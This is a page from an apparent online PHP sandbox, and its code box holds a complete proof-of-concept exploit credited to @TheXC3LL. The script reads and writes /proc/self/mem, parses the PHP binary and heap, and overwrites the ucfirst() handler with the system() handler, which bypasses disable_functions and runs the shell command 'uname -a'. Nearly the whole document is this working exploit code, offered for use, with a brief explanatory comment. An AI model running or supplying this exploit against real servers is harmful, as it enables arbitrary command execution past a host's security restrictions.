Hi! Could we please enable some services and cookies to improve your experience and our website?

PHPize Online / SQLize Online  /  SQLtest Online

A A A
Login    Share code      Blog   FAQ

Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code

Copy Format Clear

Stuck with a problem? Got Error? Ask AI support!

Copy Clear
Copy Format Clear
<?php /* If open_basedir is misconfigured it is posible to read and write /proc/self/mem. This means that a PHP script can self-patch itself to bypass disable_functions and call system() or other dangerous functions. This technique is old, indeed you can find a PoC by Beched (https://github.com/beched/php_disable_functions_bypass) where the open@plt address is replaced by the system@plt address (the info is extraced parsing the PHP and libc binary). My approach is similar in the sense of taking the advantage of /usr/proc/mem, but to achieve the bypass I overwrite the handler of an arbitrary PHP function (that has a string as parameter) inside the function_table. The handlers are extracted parsing the basic_functions structure. This PoC was tested on a PHP-CLI (php -d 'disable_functions=system' bypass.php). If you find usefull this script, or wanna comment something, feel free to ping me at twitter (@TheXC3LL) Important: This should NOT work on modern webservers (/proc/self/mem is unaccesible). */ function memmaps() { print "[+] Parsing mapped memory regions:\n"; $targets = Array(); $raw_map = explode(PHP_EOL,file_get_contents("/proc/self/maps")); foreach ($raw_map as $line) { if (substr($line,-4) == "/php") { if (strpos($line, "r-xp") !== false) { $range = explode(" ", $line); $split_range = explode("-", $range[0]); $targets["bin_start"] = hexdec($split_range[0]); $targets["bin_end"] = hexdec($split_range[1]); } } if (substr($line, -6) == "[heap]") { $range = explode(" ", $line); $split_range = explode("-", $range[0]); $targets["heap_start"] = hexdec($split_range[0]); $targets["heap_end"] = hexdec($split_range[1]); } } print "\t[-] Binary: 0x" . dechex($targets["bin_start"]) . "-0x" . dechex($targets["bin_end"]) . "\n"; print "\t[-] Heap: 0x" . dechex($targets["heap_start"]) . "-0x" . dechex($targets["heap_end"]) . "\n"; return $targets; } function getdata($fd, $address, $size) { fseek($fd, $address); $data = fread($fd, $size); return $data; } function trans1($value) { return hexdec(bin2hex(strrev($value))); } function trans2($value) { return strrev(hex2bin(dechex($value))); } function parse_elf($base) { // https://wiki.osdev.org/ELF_Tutorial $parsed = Array(); $fd = fopen("/proc/self/mem", "rb"); $parsed["type"] = getdata($fd, $base + 0x10, 1); $parsed["phoff"] = getdata($fd, $base + 0x20, 8); $parsed["phentsize"] = getdata($fd, $base + 0x36, 2); $parsed["phnum"] = getdata($fd, $base + 0x38, 2); for ($i = 0; $i < trans1($parsed["phnum"]); $i++) { $header = $base + trans1($parsed["phoff"]) + $i * trans1($parsed["phentsize"]); $parsed["ptype"] = getdata($fd, $header, 4); $parsed["pflags"] = getdata($fd, $header + 0x4, 4); $parsed["pvaddr"] = getdata($fd, $header + 0x10, 8); $parsed["pmemsz"] = getdata($fd, $header + 0x28, 8); if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 6) { $parsed["data_addr"] = trans1($parsed["type"]) == 2 ? trans1($parsed["pvaddr"]) : $base + trans1($parsed["pvaddr"]); $parsed["data_size"] = trans1($parsed["pmemsz"]); } else if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 5) { $parsed["text_size"] = trans1($parsed["pmemsz"]); } } return $parsed; } function get_handlers($base, $data_addr, $text_size, $data_size) { print "[+] Searching for handlers in basic_functions:\n"; $handlers = Array(); $fd = fopen("/proc/self/mem", "rb"); for($i = 0; $i < $data_size / 8; $i++) { $test = trans1(getdata($fd, $data_addr + $i * 0x8, 8)); if ($test - $base > 0 && $test - $base < $data_addr - $base) { $fname = getdata($fd, $test, 8); if (trans1($fname) == 0x74737269666375) { // ucfirst() $handlers["ucfirst"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8, 8)); print "\t[-] zif_ucfirst found at 0x" . dechex($handlers["ucfirst"]) . "\n"; continue; } else if (trans1($fname) == 0x6873657061637365) { $handlers["system"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8 - 0x20, 8)); print "\t[-] zif_system found at 0x" . dechex($handlers["system"]) . "\n"; return $handlers; } } } } function scan_and_patch($base, $final, $old, $new) { print "[+] Scanning the heap to locate the function_table\n"; $fd = fopen("/proc/self/mem", "r+b"); for ($i = 0; $i < ($final - $base) / 8; $i++) { $test = trans1(getdata($fd, $base + $i * 0x8, 8)); if ($test == $old) { print "\t[-] zif_ucfirst referenced at 0x" . dechex($base + $i * 0x8) ."\n"; fseek($fd, $base + $i * 0x8); print "[+] Patching ucfirst() with zif_system handler\n"; fwrite($fd,trans2($new)); return; } } } print "\t\t-=[ Bypassing disable_functions when open_basedir is misconfigured (PoC by @TheXC3LL) ]=-\n\n"; $vmmap = memmaps(); $elf = parse_elf($vmmap["bin_start"]); $handlers = get_handlers($vmmap["bin_start"], $elf["data_addr"], $elf["data_size"], $elf["text_size"]); scan_and_patch($vmmap["heap_start"], $vmmap["heap_end"], $handlers["ucfirst"], $handlers["system"]); print "[+] Calling ucfirst('uname -a')...\n\n"; //Kaboom! var_dump(ucfirst("uname -a")); ?>
Copy Clear